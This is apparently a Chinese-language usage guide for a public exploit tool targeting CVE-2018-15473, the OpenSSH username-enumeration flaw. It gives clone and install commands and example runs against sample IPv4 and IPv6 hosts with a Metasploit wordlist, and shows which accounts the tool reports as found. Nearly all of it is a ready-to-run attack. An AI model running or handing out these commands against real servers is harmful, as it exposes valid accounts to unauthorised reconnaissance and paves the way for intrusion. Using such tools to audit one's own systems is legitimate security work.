OpenSSH 至 7.7 版本存在用户枚举漏洞,原因在于未将无效验证用户的延迟退出推迟到包含请求的数据包完全解析之后,涉及 auth2-gss.c、auth2-hostbased.c 和 auth2-pubkey.c。
你可能需要安装你的发行版对应的 openssl-dev 包
# 注意:如果你在 kali 上安装,可以跳过 pip install;paramiko 已经存在。
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - 或者 -
pipenv install -r requirements.txt # 如果你很酷的话
chmod u+x ssh-username-enum.py
单个用户名
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
使用包含 10 个线程的字典文件(默认是 4 个)
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
IPv6 地址,端口 2222,增加详细输出!
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------